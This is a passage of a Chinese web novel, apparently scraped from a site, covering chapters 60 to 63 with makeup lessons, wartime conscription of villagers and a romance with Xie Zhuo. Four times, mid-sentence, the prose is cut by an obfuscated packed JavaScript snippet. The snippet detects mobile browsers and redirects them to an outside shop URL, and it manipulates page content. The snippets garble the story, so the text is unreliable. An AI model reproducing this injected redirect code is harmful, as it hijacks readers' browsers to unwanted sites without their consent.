傅知乔不但帮她涂满了整个嘴唇,连唇峰位置涂出去了,让她的唇形更加饱满。 “沿着上唇内部轮廓慢慢向外晕染,先用唇脂模糊嘴唇线的边界,将唇形外扩,这样可以让你的嘴唇看起来更加的饱满。”傅知乔边说边演示,她的手指在周妙思嘴唇上来回滑动着。 如此亲密的动作把周妙思闹了个大红脸,平时涂口脂都是她自己取一片胭脂花片,将颜色沾到嘴唇上,还没有人这么亲密的碰过她的嘴唇。 周妙思脸颊红成一片,连耳朵都变成了粉色,有点不敢直视傅知乔。 周妙思是坐着的,傅知乔只能半弓着身为她上妆,两人是面对面的姿势,距离不过半臂之远。 从周妙思的角度,能清楚看见傅知乔眨眼时睫毛在眼下投出的阴影,修长的玉颈下是一片如凝脂般的肌肤,再往下看就是胸…… 明明比自己还要小一岁,怎么生的这样好? 周妙思移开目光,不能再看了,再看下去她都要沦陷了。 妆容完成,傅知乔拿来铜镜让周妙思自己看看。 红棕色的唇脂一上嘴,周妙思整个人立即鲜活起来,褪去了娇俏少女的稚气,多了几分优雅和贵气感。 周妙思怔怔的看着铜镜,脸还是那张脸,并没有什么大的改变,可看起来就是精致漂亮了许多。 这是怎么做到的? 周妙思身后的小丫鬟们也是个个张大了嘴巴,她们是亲眼看着傅知乔在自家小姐脸上涂涂画画。 只是涂涂画画就能变美吗? 她们迷茫了。 丫鬟们化妆只会把脸敷的白白的,哪里懂得用化妆来修饰脸部缺陷呢! 及笄礼必定是要万无一失的,刺史夫人本来已经请了一个以前在宫中替贵人梳妆的嬷嬷来来为周妙思上妆,后来看到傅知乔化出来效果,她也不再反对了。 * 周妙思的及笄礼办的十分盛大,安国公夫人、如意郡主等满城的权贵都过来观礼。 及笄礼当天,刺史府所有的下人都在各自岗位上有条不紊地忙碌着。 傅知乔早早地赶过来,并送了一对雕工精细的翡翠耳铛作为贺礼。 周妙思穿着襦裙坐在房里等着吉时到来,她既紧张又兴奋,从今天起,她就成了真正的大人。 “吉时已到,请小姐出门行及笄之礼。”嬷嬷的声音在门外响起。 因为傅知乔有为周妙思化妆的任务,所以并不能在外面随着宾客一起观礼,只能在房内听着外面的动静。 及笄礼正式开始,周妙思先穿着素色襦裙入场,跪拜拜父母,而后换上了深衣出来向长辈们行拜礼,请来有德才的女性长辈为她带上发簪,送上祝福。 最后在赞者的协助下,周妙思进房更换与头上发钗相配套的礼服。 傅知乔早已在房内候着了,快速为她画好妆容,周妙思穿上正式的大袖长裙礼服向来宾展示,正宾为她加钗冠,吟颂祝辞。 至此礼成。 周妙思盛装打扮出现在众人眼前,宾客们的目光都投注在她身上,他们平时哪里见过周妙思这般盛装打扮模样,眼里是震撼和惊艳。 少女身着华丽的礼裙,带着千金贵女的淡定从容缓步走来,她步伐端庄,脸上笑意盈盈,完美地将女性的柔美气质展现出来,让人印象深刻。 刺史夫人骄傲地抬了抬头,满意得不得了,她的女儿长得多么好看呀! 礼成后离晚上的宴会还有几个时辰,傅知乔不是亲眷自然不好留下来,她找了个借口提前回去了。 周妙思心情大好,她刚刚在人群中看到表哥秦修齐了。 秦修齐任职通政司参议,官从五品,来青州就是为了参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462852|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加她的及笄礼,两人虽然还没来得及说上话,但他眼里的惊艳周妙思没有错过。 等晚上宴会的时候他们俩就可以再次见面了,周妙思一颗心怦怦直跳。 周妙思身为及笄宴的主人,她带着几位官家小姐在自家后院的花园中聊天。 唐玉樱在一旁细细端详着她的脸,赞叹道:“妙思这妆容着实巧妙,今天你就是我见过的最漂亮的美人儿。” “多谢玉樱。” 在闺中好友面前,周妙思也不害羞了,大大方方接受她们的赞美。 毕竟,谁会不喜欢别人由衷的夸奖呢? 周妙思大方跟好友们分享了自己变美的原因。 唐玉樱眼睛闪烁了一下:“你是说那个商户女傅知乔?她不是个酿酒的吗?” 周妙思点点头,“玉樱,知乔她帮了我许多,往后你见到她需客气一些,就当是看在我的面子上。” 唐玉樱顿时不吭声了,她有些不甘心,周妙思把傅知乔说的神乎其神,她倒是想见识一下这个人是不是真的这么厉害。 周妙思在及笄礼上大出风头,她的小姐妹知道是傅知乔帮她化的妆后,纷纷想找到傅知乔让她指点一二。 在她们的再三要求之下,周妙思找到傅知乔,询问她可不可以帮其他的姐妹们改妆容。 地点约在了扶云阁。 周妙思带着五六个千金小姐过来,唐玉樱也在其中。 傅知乔并没有一上来就开始帮人看妆容,而是让女侍们端来甜酒酿,贵女们一人一盅慢慢喝着。 唐玉樱问:“妙思姐姐,这就是你说的那个养颜汤吗?” “嗯,它叫甜酒酿,有补血养颜、舒筋活血之功效。”周妙思对甜酒酿的功效已经十分熟悉了。 众位贵女先看看傅知乔的皮肤,再看看周妙思的皮肤,心中暗自下决定,以后我也要来喝甜酒酿! 就这样,甜酒酿成为了扶云阁第一道甜品,一盅售价一两银子。 吃饱喝足,一对一改妆容教程开始。 第一个改妆容的对象是唐玉樱。 唐玉樱长着一张可爱的瓜子脸,鼻子挺直,嘴巴小小,双眼炯炯有神,浅浅一笑,两个梨涡在脸颊若隐若现。 唐玉樱只比周妙思小半岁,因为长相的原因,别人总是把她当成孩童对待,唐玉樱对此很是不满,她想让自己变得温柔成熟些。 掌握了她的需求,傅知乔为她洗去原先的妆容,重新在她脸上化了起来。 手指沾取粉色的胭脂在眼下位置的轻轻点涂,眼下的肌肤微微泛红,看起来楚楚可怜,抬眸间简直撩人于无形。 眼部提亮?鼻头提亮?这群贵女全都双眼发亮,她们何曾见过这般精湛的化妆手法。 “这、这是我吗?”唐玉樱简直惊呆了,原来自己也可以如此温柔动人。 夫人小姐们的妆容都是自己或者丫鬟们化的,相比她们千变一律的化妆手法,傅知乔的美妆知识可以说吊打也不为过。 根据千金小姐们的样貌,傅知乔提了一些可以改进妆容的意见,因为她长得美,化妆技巧高超,大家对她说的话十分信服。 这下傅知乔彻底在贵女圈子里出名了。 傅知乔的审美是经过无数的高级珠宝、高定礼服,长年出席各种晚会熏陶出来的,贵族千金们十分看重她给的意见,因此时不时就会来扶云阁喝喝养颜粥,小酌一杯青梅酒,就是希望能碰到傅知乔本人,让她指点自己两句。 扶云阁凭借独特的服务,很快就成了青州的贵族千金们最喜欢去的地方。 61. 留住工人 傅知乔忙着拓宽自己的人脉,并未注意朝廷征兵的消息正以雪花般的速度席卷大魏各州各县。 没过两天,朝廷征兵的旨意正式下达到青州。 年满十五岁、四十岁以下的男丁都在此次征兵范围内,一个户头至少征一个男丁,家中有三个以上的男丁要征两个。身体羸弱、有残病、身高低于一米四的人可以免征兵,不愿意出人的那就出银子,一个人三十两银子。 三十两银子差不多是贫苦百姓们大半生的积蓄了,还有许多人家里根本拿不出这么多钱,只得选择让家里的男人去从军。 不出一日,青州的百姓们被这个消息搅得心神不宁。 有小道消息说这次征兵是因为朝廷要和北疆的蛮夷打仗,百姓们跟炸了锅一样在讨论征兵打仗的事。 “打仗是要死人的,我家儿子还没成亲,他可是我们老梁家的独苗啊!” “我家也是,这万一有个好歹我们家不就断后了吗?” 有丈夫搂着自己妻子的肩膀:“这一去,恐怕就是永别了。” 旁边一个老婆婆听到后,不禁悲从中来:“老天爷!这还让我这个老婆子怎么活啊!” “呸呸呸!不吉利的话不要说。” “朝廷把男丁都走了,那我们地里的庄稼谁来种?” 百姓们围着官兵抱怨,那发布告示的官兵的头都要吵晕了,大喊了一声:“安静,安静。” 然而根本没有人听他的话,百姓们依旧自顾自的讨论着征兵带来的坏处,丝毫没有要停下来的意思,他的声音直接被淹没在人群里。 “哐哐哐”官兵用力敲锣,刺耳的锣声响起才换来了片刻安静。 “在战场上奋勇杀敌乃英雄风范,怎的被你们说的要去送死一样。要是人人都贪生怕死,那还怎么打胜仗?百姓们如何有安宁的生活?”官兵是个口才好的,一番话下来让众人哑口无言。 “圣上仁慈,正是因为考虑到地里的庄稼,才让大家伙忙完秋收再征兵。从军后在战场上表现优异者可留在军队担任伍长,说不定将来还能封官加爵,有志向的男儿不要错过此等建功立业的好机会!” 上战场杀敌,是危险也是机会! 保卫家国、封官加爵,确实能激起男儿心中的那股子热血。 “朝廷派来将军过两天就到了,你们最多还有一个月的时间来安排好家中的事情。战场上瞬息万变,谁也不能保证自己会活着回来,要给家里留后就抓紧时间成亲,听明白了吗?话我已经带到了,大家都散了吧。” * 朝廷面向全国征兵,刘家村也不例外。 “朝廷要征兵,指令已经发放下来,这件事想必大家伙都知道了。” 刘平谷叹了一口气,一个户头至少征一个男丁,这等于把村里的劳动力带走一大半,只剩下一些老弱妇孺了。 “村长!”刘志义也不和他客气,直接说道:“我大哥前年刚解甲归家,为什么今年还要让我家出男丁?” 刘志义上头有一个哥哥,家里的父亲也符合征兵条件,按照规定家中有三个以上男丁的就要征两个男丁走。先不管从军后能不能子战场上活下来,一下子征走两个男丁对家庭的伤害是巨大的。 刘平谷叹了口气:“上头的规定,我也没办法。” 朝廷征收民兵不是终生制。 与应募入伍的士兵不同,民兵相当于临时工一样的存在。 普通士兵们入伍后户籍也会转为军户,从此远离家乡,每天学习训练刀、剑、弓箭等各种武器。更高级别的将军将领们,他们不但武艺高强,要会兵法,能看懂舆图,随时做好为国家抛头颅洒热血的准备。 但民兵不一样,民兵都是由普通百姓组成的,他们从未经受过军事训练,身体素质不高,战斗力也不强,所以,民兵们在国家需要打仗的时候就上战场杀敌,不打仗的时候就回家种地。 为了补偿农户家中失去的男性劳动力,朝廷规定了但凡家中有男丁通过征兵进入军营,那么他在军营服役期间,家里就不用缴纳赋税和参加徭役。 有三个男丁以上的人家要征走两个,刘平谷小儿子刘方学今年刚刚好满了十五岁,这样一来,他们家要征走两个人,他妻子知道消息后在家整日以泪洗面。 刘平谷听着这妻子的哭闹声心里很不是滋味,他是村长不能离开村子,可他的两个儿子避不开。要送两个儿子上战场,刘平谷心里是一万个不愿意,可他身为村长不能徇私,只能忍痛将两个儿子的名字报了上去。 刘平谷劝村民:“各家符合条件的必须去,要是发现有人欺上瞒下,算是有十个脑袋也不够砍的,大家回去早做准备吧!” 众人稀稀拉拉的散开了。 * 三个身穿衙差服的人拿着户籍来村里核实登记。 那官兵正在纸上“唰刷刷”地记录着,听到脚步声走过来,头也不抬地问道:“叫什么名字?是哪家的?” 符合征兵要求的人依次上前,登记了姓名、籍贯,先由官兵检查四肢是否齐全,再由大夫检查是否眼瞎耳聋。 最后身体没有问题的就算通过了,签下征兵文书,领取一张临时的编号,“符合条件的都过来签这份征兵文书,你们准备好行囊,三日后到衙门里集合。” 刘家村共有四百多人符合征兵要求。 符合条件的男丁们都苦着脸,去边关打仗无异于去送命,谁都不想去但又不能不去。官府手里掌握着所有人的户籍,哪家符合条件哪家不符合条件他们都一清二楚,如果报名的人数和官兵手里的那份对不上可就惨了。 凡是发现有隐瞒身份不从军者,重打五十大板,若是外出逃避征兵,则会连累全家五倍赋税。 躲也躲不开,逃又逃不掉。 刘家村村民跟着傅知乔做了这么久的事,多多少少攒了些家底,可要他们一下子拿出三十两来也不是件易事。 特别是征兵这个当口,家家户户都缺钱,想找人借钱都没处借。 还有三天! 三天之后拿不出钱来,不能把官府上的名单划掉就再也没办法了。 酒庄里都是些年轻力壮的男子,听到征兵的消息后都心不在焉。他们的名字都已经报了上去,上战场是要命的,刀剑无眼,自己又不会拳脚功夫…… 命都快没了,谁还有心思干活呢? 傅知乔后两天才知晓原委,酒庄里很多男性工人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508624|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酿酒的主力,他们要是被征走了,她的酒庄怎么办?谁来给她生产太白酒? 她第一时间赶到酒庄给出承诺,想留在酒庄不愿意从军的工人,酒庄可出二十两银子帮忙划掉征兵名单。 酒庄里出二十两是不用还的,那么自己只需出十两就能免掉从军了,工人们心里安定下来。 替这七十多个工人交完这笔钱,傅知乔心里感慨:还好奴仆不用应征,不然运输队一百多号人每人都要交三十两银子,她实在难以承受。 酒庄里的工人大多是附近村子里的人,他们立即回去把这个好消息告诉家人。 刘平谷的两个儿子都在其中,他们一家只需出二十两就可以不去从军,刘平谷妻子当即就给傅知乔跪了下来。更重要的是他两个儿子是被酒庄保下来的,并不是刘平谷个人走了关系,村里眼红的人想挑毛病都挑不出来。 就这样,酒庄里七十多个工人交了钱,光明正大在官差那里划掉了名字。 越来越多的人听到消息,求到了傅知乔面前。 “如今朝廷要征兵,家里实在拿不出这么多钱来……东家,您救救我们吧!” “我丈夫也符合条件,这要是去了回不来……” “东家您发发善心,我只有一个儿子,要是他出了事,家中只剩下我一个老婆子了。” “求您了,救救我们吧!” 帮还是不帮?这是个问题。 傅知乔之所以愿意帮忙出二十两银子留住这些工人,是因为他们是酒庄生产房里的骨干,能十分有质量的完成自己的工作,让这群熟工去从军对她来说是一个损失。 相比较酒庄里的熟工而言,其他人就没有那么重要了,并不值得自己垫付一大笔钱出去。可过来求情的都是些头发花白的瘦弱老人、抱着孩子的妇女,傅知乔无法硬下心肠对这些人说一个不字。 傅知乔完全能理解她们的难处。 以她自己为例,以傅家这样的富贵家庭,在傅长岳死后,她们母女也立刻遭到了族人的欺压,更别说这些原本就穷的人家了。 失去家里最重要的劳动力,深度依赖丈夫和儿子的女人们,她们的余生该怎么办?或许她们中有许多坚强的女性,能做到独自支撑起家中生计的重担,可没钱没人脉,她们也只能去做一些针线活或是给别人洗衣服,以此来获得一些微薄的收入。 这种结局不是傅知乔想要看到的,但她目前还没有能力帮助到所有的人。 第二天,酒庄里发了条新的通知,凡是在酒庄干活的工人,家里只有一个男丁者可以从酒庄里预支三十两银子。 以贷银的形式,相当于工人向她借了三十两银子,偿还方式是从每月的月钱里扣,在没有还清三十两贷银前他们只能在酒庄里干活。 傅知乔最后还是决定拉村民们一把。 她只帮助人丁单薄的弱势家庭,这样既可以保住一个家庭,又不耽误朝廷征兵,也不会让其他的工人感到不满。 有了傅知乔的帮助,很多工人赶在最后一天把罚银交了上去,将自己的名字从征兵名单上划掉了。 受了恩惠的工人和他们的家人对傅知乔是千恩万谢,自发聚集在酒庄门口给她磕头。 62. 亲手戴簪 保住了酒庄里的工人,傅知乔心情很好,本想出街消费一把,考虑到外头满大街都是官差在招兵,人员嘈杂,最后她还是选择老老实实待在家里了。 傅知乔不出门,谢卓就没法见到她。 三天前。 谢卓带着骁骑军一千兵马正式接管了青州的民兵。 城外搭建了临时的兵营,原本空旷的土地上已经密密麻麻地立起了帐篷,不远处的空地也已被栅栏围起了来作为练兵的校场,征集而来的民兵们就在此处训练。 校场门口摆着几块大小不一的石头,最大的有两百多斤,最小的只有六七十斤左右。这是个简单的参军考验,进军营的第一步就是人员分配,根据民兵们的力气大将他们分配到不同的队伍中去,力气越大分到的队伍条件就越好。 谢卓花了三天的时间,将民兵们按照资质水平分好队伍,正式开始了训练。 行军打仗需要良好的体力和灵活的身手。 民兵在正式编队前,还要进行一些基础的队列训练。保证所有人都能听懂军令,会辨认我军的旗帜和徽章,熟练基本的战斗技巧。 谢卓的任务就是要把这些民兵训练成一个合格的战士。他白天在军营里忙训练新兵的事,抽不出空来,只好让王骞信去傅府外守着,让王骞信见到傅知乔后告诉她一声自己在城北的院子等她。 结果王骞信在傅府门口守了三天,愣是连傅知乔的影子都没见到。 再这么等下去也不是个事,世子爷那边的耐心应该不多了。 第四天,王骞信主动上去敲门。 朱红的大门缓缓打开,门房探出头来狐疑地看着他,“请问你是?” 王骞信露出和善的微笑,“这位小哥,这里可是傅知乔傅姑娘的家?” “你是何人?来这干什么?”小厮的听到自己小姐的名字从一个陌生男人嘴里说出来,眼里充满了警惕。 “我来自京城,受主家吩咐来送东西给傅姑娘,劳烦小哥通报一声。” 没有拜帖,他家姑娘是想见就能见的吗?门房上下打量了一下王骞信,“信给我,我帮你递进去。” * 银杏:“姑娘,方才门房递了封进来。” 傅知乔接过信一看,是谢卓的字迹。 谢卓来青州了? 傅知乔惊的立即坐了起来,她的信送出去已经有好些天了,难道谢卓没有收到? 下一秒她就否定了这个想法,明明他本人已经到了青州却还是托人送消息约她见面,应该是被什么事情给绊住了。 傅知乔重新梳洗换了身衣裳,想了想,还是把他送的那支簪子带在了身上。 城北的院子傅知乔之前来过一次。 走过竹林小径眼前豁然开朗,四周景色倒映入水,衬的一泓池水如明镜一般,怪石堆叠而成的假山,石壁上流水缓缓落入池中,在水面泛起阵阵细碎的涟漪。 仆人把傅知乔带进来后又匆匆离去。 日影西斜,天空中渐渐被霞光笼罩,仆人们已经在水榭四挂起了灯笼。 傅知乔到的时候,谢卓还未回来,她独自在水榭中赏景,风中有淡淡的花香和湿润的凉意。 谢卓着急与傅知乔见面,快马从城外赶回来,连身上的甲胄还没来得及换下。 看到傅知乔的背影,他停住脚步,眼里的惊喜一闪而过,重新调整了呼吸后才朝着水榭走去。 傅知乔也听到脚步声,转过身。 谢卓缓步走到她面前,站定,一时间谁都没有说话。 眸光相接,火花四溅。 傅知乔嘴角微微翘起,她来之前有特意打扮过,一袭淡雅的素白纱裙,墨发如流云般倾泻而下,秀美绝俗的脸庞此刻被霞光镀上一层融融的金色,让周围一切都黯然失色。 谢卓贪婪的看着这张让他日思夜想的脸。 “为什么这么晚才回信?”他的眼睛死死的盯着傅知乔,不肯放过她脸上一丝一毫的表情。 等待回信的那段日子里漫长又难熬,心情完全不由自己掌控,谢卓再也不想经历一回了。 傅知乔没想到他第一句话是问这个,心虚的说道:“我,我太忙了……” 谢卓:…… 两个月的苦苦等待是一句太忙了就能打发的吗?他回京城后没有一天是不想她的,结果这人压根就没想自己,连他的信都懒得回! 难道我就这么不重要吗? 谢卓心里升起一股怨气。 “对不起,我错了!”傅知乔一秒认错,这件事确实是她不占理。 谢卓听到她爽快认错,心里更觉得憋屈了,就好像他蓄满力气的一拳头打在了棉花上,这种落不到实处的感觉实在让人心梗。 静默无言。 傅知乔主动去拉他的手:“对不起嘛!你别生气了好不好!” “我没有生气。”谢卓轻描淡写应了一句。 没有生气?这话说出来鬼都不信!傅知乔心里嘀咕,接着又用手指挠了挠他的掌心,带着些安抚的意味。 谢卓一言不发,傅知乔偷偷瞧了他一眼,黑色的瞳孔里满是冷清,嘴唇抿成一条直线,低垂着眼脸不知道在想些什么,身上围绕着一股冰凉的气息,清冷漠然的模样有点唬人。 这个状态怕是有些难哄啊! 明明是委屈之相却要做出一副不在意的样子,看到这样的谢卓,傅知乔反而兴奋起来。 谢卓脸上虽然没什么表情,但动作完全不是那么回事,他反客为主,将傅知乔的手拢在掌心紧紧握住,没有丝毫要放松的迹象。 谢卓的样貌生的是极好看的,俊朗的五官丝毫没有女气,身姿英挺像是一根笔直的竹子。 身穿金漆麒麟铠甲,散发出傲视天地的强势,额间垂下来的碎发带几分疏狂的味道,让人不舍得把视线从他脸上挪开。 最开始的时候,傅知乔她以为谢卓是个冷淡的人,结果相处下来完全不是那么回事,谢卓只是面冷,其实内心是十分火热的。 怎么办?这样的谢卓好像更勾人了…… 傅知乔轻轻吐了口气,承认了,她就是垂涎他的美色! 傅知乔眸光微闪,她走近一步,把头靠在谢卓胸膛,双手环住他的腰。 谢卓瞬间绷紧了身体,他没有想过傅知乔会如此直接。 片刻后谢卓放松下来,怀中的人脸颊紧紧贴着他的胸口,看着她毛茸茸的头顶,他什么气也生不出来了。 女儿家的香气萦绕在鼻尖,他的神智也慢慢归位,想着方才说的话,自己的怨气似乎有些太大了?其实他也没有很生气,只是有些担心她的安危而已,她不是才收拢了一批山匪,万一出事怎么办? 糟了!她不会以为他是个小气的人吧? 谢卓心里万分纠结,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555569|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是解释一下吧,他扭捏道:“那个,我没有生你的气,只是担心……” 傅知乔双臂环紧,两人紧密的贴在一起:“我知道的。” 爱一个人时眼神是无法骗人的,他会不由自主地把目光投放在你身上,情不自禁的想对你好,看向你的眼神中流露出的全都是宠溺。 傅知乔能感受到谢卓的满腔热忱,他每一次见到自己时眼睛都是亮的,充满了柔情和宠溺。 腰上一紧,被抱过之处腾起一股热意,谢卓立刻收了声。突然间的亲密让他有点无所适从,他想起来灯会上那个意外的拥抱,想起了梦中那些不可言说的…… 自己好似有点过于孟浪了,谢卓心跳加速,整张脸都烧红了,连带着耳根都热了起来。 他艰难的伸出一只手抚摸着她的发丝,两个人就那样静静的依偎在一起,谁也没有开口说话。 仆人们识趣地守在园子门口,把水榭空间全留给了二人。 夜晚寒气加重,两人进到室内。 “你何时来青州的?要待多久?”傅知乔问,谢卓在军队中有职务,应该不能随意出京的。 谢卓脱掉了铠甲换上常服,把自己来征兵的事简单的讲了下。 “朝廷派来的征兵将军原来是你啊!” 听闻谢卓要在青州待一个月,傅知乔心里松了一口气,大魏没有网络,没有飞机,送封信也要十天半个月,她可不想刚谈恋爱就要面对异地恋这个问题。 谈话间,谢卓眼眸扫向傅知乔的头顶,看到她头上没有戴自己送的簪子,别扭的发问:“怎么不戴我送你的簪子?不喜欢?” 话题转的太快,傅知乔愣了半拍。 “簪子很好看,我很喜欢!” “喜欢怎么没见你戴?”谢卓眼神火热,有种你不好好说清楚就别想走的意味。 傅知乔眼中笑意更浓,谢卓在她面前一直端的是贵公子的形象,没想到还有这么傻气傲娇的一面。 还好!还好自己出门前把簪子带在身上了,不然这茬都不知道该怎么应付过去。 傅知乔把装簪子的木盒从荷包里拿出来,放到谢卓手中:“我想让你亲手为我戴上。” 谢卓有点紧张,手指微微捏紧了手中的发簪,他长这么大了还是头一次帮女子戴簪子,有点不知道该如何下手。 傅知乔等了许久,身前之人还没有动作,她不耐的催促了一声。 谢卓没有任何经验,一只手拿着簪子颤颤巍巍的在她手上试探,生怕一不小心扎着她的头皮,小心戴好发簪后他长吁了一口气,“好了。” 不愧是淬金阁的镇店之宝。 他的眼光没有错,这支翡翠宝石莲花簪子十分衬她,上面的宝石在她发间透露出华贵之气,但在她容光映照之下,再华贵的首饰已都显得黯然了几分。 “好看吗?” “好看。”谢卓被那明媚的笑靥晃花了眼,簪子配美人,他极为满意的看着自己的眼光。 “戌时了,我该回去了。” “我送你回去。”谢卓一路护送她到家。 马车停在傅府门口,傅知乔揭开车帘就要下车,谢卓轻拉她的手腕,道:“等等”。 “怎么了?”傅知乔回过身,十分疑惑。 谢卓面颊微烫,微咳一声:“明日……还能再见吗?” 还未分开,他就已经舍不得了。 63. 获得牛肉 翌日。 谢卓起的很早,他眼带笑意,走路都带风。 看见谢卓一改之前的严肃,王骞信心里也高兴:世子爷终于高兴了,他的日子也能好过点了。 还未到达校场门口,远远地就听到校军场内传来阵阵呐喊声。 守卫士兵见是来人是谢卓,连忙要去禀报训练的将士,谢卓摇摇手示意不要去打扰,他站在校场的旗子下,慢慢观察着士兵们训练的动作。 今天是步兵营的将士在训练劈杀稻草人,长刀所指,人头落地。 步兵营的将领看到了谢卓,“请谢将军来给我们露一手,大伙说好不好?” “好!”士兵们听到谢卓的名字后纷纷激动起来,谢将军是这里最厉害的人,能得到他的指点是件再好不过的事情了。 面对士兵们炙热的目光,谢卓一脸淡然,其实他更擅长的是长枪和剑,不过将士们这么热情他也不好扫兴。 劈、砍、拦、斩……谢卓接过大刀耍了一套简单的刀法。 “好!”士兵们大呼精彩,谢卓身法太快了,他们看不清招式,只能看到刀影。 “你们要记住,脖颈、心口、腹部都是要害处,出刀必须要准确,对准敌人的要害处用力砍下去。” 说着,谢卓又放慢动作演示了一番。 民兵们全部都瞪大了眼睛,屏住呼吸,注意力都集中在他身上。 刀尖在空中划了一个优美的弧线。 “咔嚓”一声,那四个并排的稻草人齐刷刷被拦腰砍断。稻草人的下半截依然被固定在地上,只是上半截已经飞出几尺远,落在地上沾满了灰尘。 一刀砍断四个稻草人,切口居然还整整齐齐,这得需要多大的力气啊?可谢将军一脸轻松的样子,看起来并没有费什么大力气。 众士兵心中都有一个念头,谢将军,深不可测! “一次劈砍不中的,加练十次。” 随后,场内响起此起彼伏的砍稻草人声音。 * 谢卓白天在校场练兵,每天一堆事要做,只有晚上不太忙的时候才能见到傅知乔,所以每次相处的时间他都很珍惜。 王骞信隔三差五就会驾着马车来接她,还好余柔岚并不怎么拘着她,不然天天出门连个理由都不好找。 傅知乔经常出入谢卓的院子,其中最为震惊的是院子里的管事明伯。 明伯每次接待傅知乔时,心中都带上了几分忐忑。回想着自己没有怠慢之处,他看到王骞信见了傅姑娘也是客客气气的,王骞信可是世子爷的心腹,能让世子爷如此看中的人是他能轻慢的吗?他已经决定以后见到傅姑娘态度一定要再恭敬些。 谢卓要处理公务,但又不想傅知乔离开。他直接在自己的书桌不远处给傅知乔支了张软塌,担心她会无聊还找了很多话本子过来。 有傅知乔在,谢卓办公也不觉得无聊,时不时会看她一眼,只要能跟她待在一个屋檐下她就觉得满足。 两人共处一室但谢卓从不逾矩,行事十分规矩。每次动手动脚的反而是傅知乔,一开始谢卓还会坐怀不乱,后来就随她去了,反正他也挺喜欢的。 相处的时间变多,谢卓的脸皮也逐渐变厚了,再也不会出现动不动就脸红的情况。 来的次数多了,傅知乔也知道了谢卓的身份,端亲王府唯一的嫡子,未来的端亲王。 自从两人认识以来,傅知乔没特地打听过他的身份,她知道谢卓的家世可能不凡,但没有想到他尊贵至此。 听到谢卓亲口承认,傅知乔倒吸了一口凉气,迟迟说不出话。 早知道自己身边有这么粗的大腿,她何必费心去找徐尚强给她牵线搭桥,这个想法在脑子里仅仅出现了一秒就被她甩出去了。她更多的是担忧,不是她妄自菲薄,实在是因为大魏等级森严很严重,她与谢卓身份太过悬殊了,这点由不得她多想…… 谢卓还以为她是恼自己隐瞒身份,轻咳了一声:“我不是故意隐瞒的。” “我又没怪你。” 堂堂世子爷,置自身的安危于事外替她挡刀,护送她上黑虎山……想起之前的一幕幕,傅知乔觉得有点羞愧,她好像什么都没为他做过。 谢卓对她好,她也想回报一二。 每天带一群没有武艺基础的民兵训练,谢卓肉眼可见的消瘦了。 傅知乔找到王骞信问情况。 仅仅一个月的时间,就要把这群毫无武术根基的百姓调教到能上战场,谢卓的压力不可谓不大,加上军营都是大锅饭菜,他虽然不抱怨味道差,但也确实没什么胃口。 傅知乔知道后就在家带着小月研究美食投喂谢卓,她每次来谢卓这边都会带上府中炖好的汤和食物。 给外男做饭这种事自然是要瞒着余柔岚的,傅知乔就在自己的小厨房里指挥小月做菜。做了几次后,她意外的发现小月颇具做菜天赋,很多厨娘不明白的东西,小月一点就通,经过她的口述,小月能将菜的味道做的八九不离十。 庄园那边来人禀报说有一头老年的耕牛,已经老到不能下地干活了,养在庄子里白吃食物也不是个事。 私自宰杀耕牛是要坐牢的,但老到没有劳动力的牛是允许宰杀的,去官府通报了声后庄里的人便把这头老牛宰了! 老牛原本是耕牛,被喂养的很好,宰杀后足足有四五百斤肉,文江送了几十斤到傅府,剩下的放进庄园的冰窖里保存。 四大块完整的腱子肉,傅知乔准备拿这些肉做卤牛肉,她已经一年多没有尝过牛肉的味道了。 八角、桂皮、小茴香、花椒等配料是之前卤猪肉剩下来,她稍加改良重新加入一些香料塞进纱布袋里做起了卤牛肉。 配料是她亲自配的,其他步骤交给小月就行。 “小月!” 小月听到姑娘叫自己,连忙应了一声:“姑娘有何事吩咐?” 傅知乔指了指牛肉。 老规矩,傅知乔指挥小月操作,泡血水、焯水撇血沫、放调料…… “记住,用大火煮开再用小火炖上两个时辰,炖好后不用取出来,撇去汤里的浮油,把牛肉泡在汤里等一个时辰再捞出沥干。” 因为是老年牛,肉质比较粗,需要在锅里炖整整两个时辰,小火慢炖出来的味道更香。炖好的牛肉还要在汤汁里浸泡一夜彻底入味,傅知乔把步骤和注意事项说完,让小月都记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 